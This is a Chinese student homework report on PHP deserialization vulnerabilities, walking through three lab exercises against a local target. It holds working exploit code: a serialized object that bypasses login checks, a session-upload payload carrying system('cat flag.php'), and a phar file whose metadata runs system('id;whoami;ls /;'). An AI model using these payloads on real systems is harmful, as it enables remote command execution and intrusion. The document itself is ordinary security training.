班级作业笔记报告0x09
反序列化漏洞作业1反序列化介绍及魔术方法包含flag.php文件GET传参接收select参数反序列化select值__desreuct判断password不等于100等于则结束不等于则进入下一个判断下一个判断判断username是否等于admin等于admin则全局$flag参数输出flag构造序列化代码构造Name类username和password参数并且值等于admin和100?phpclass Name {public function __construct($username, $password) {$this-username $username;$this-password $password;}}$Name new Name(admin,100);echo urlencode(serialize($Name));?序列化后的值为O%3A4%3A%22Name%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bi%3A100%3B%7D传参拿到flag作业2反序列化原生类及session反序列化代码审计构造PHP序列化代码?phpclass OowoO{public $mdzzsystem(cat flag.php);;}$obj new OowoO();echo serialize($obj);?构造POST请求头!DOCTYPE htmlhtml langen xmlns:httphttp://www.w3.org/1999/xhtmlheadmeta charsetUTF-8title1/title/headbodyform actionhttp://172.17.0.3/ methodpost enctypemultipart/form-datainput typehidden namePHP_SESSION_UPLOAD_PROGRESS value123/input typefile namefile/input typesubmit valuesubmit//form/body/html合成请求包将序列化代码放入filename参数的值中序列化中有双引号的前面插入反斜杠\因为PHP以管道符|后面的内容当作序列化字符串进行反序列化执行cat flag.php命令查看flag显示在文尾执行id命令系统根目录没有flag文件但是网站根目录有/flag.php文件可以读一读作业3Phar反序列化代码审计GET传参filename参数接收参数值利用file_exists()函数反序列化执行eval需要先用php生成phar文件php生成phar文件代码system函数里可选择填入需要执行的命令?phpclass MyClass{var $output system(id;whoami;ls /;);;}$obj new MyClass();// 创建phar包$phar new Phar(shell.phar);$phar-startBuffering();$phar-setStub(?php __HALT_COMPILER(); ?); // 必须的stub$phar-setMetadata($obj); // 写入序列化的MyClass对象$phar-addFromString(test.txt, test); // 随便加一个文件$phar-stopBuffering();?更改php.ini文件中phar.readonly属性为phar.readonly Off然后命令运行php a.php访问upload.html上传shell.phar文件在首页index.php传参?filenamephar://upload/shell.phar执行命令个人评价反序列化漏洞我自己认为是每个学网安owasptop10毕业的漏洞因为他真的很炫光名字就感到很高级而且他对代码审计要求也很苛刻你要理解魔法类幸好之前死磕过php不会php的感觉就是千米高空走千米铁索而且基本上有反序列化漏洞的基本上都会有RCE的存在本人不是php大佬并未深入研究反序列化漏洞哈哈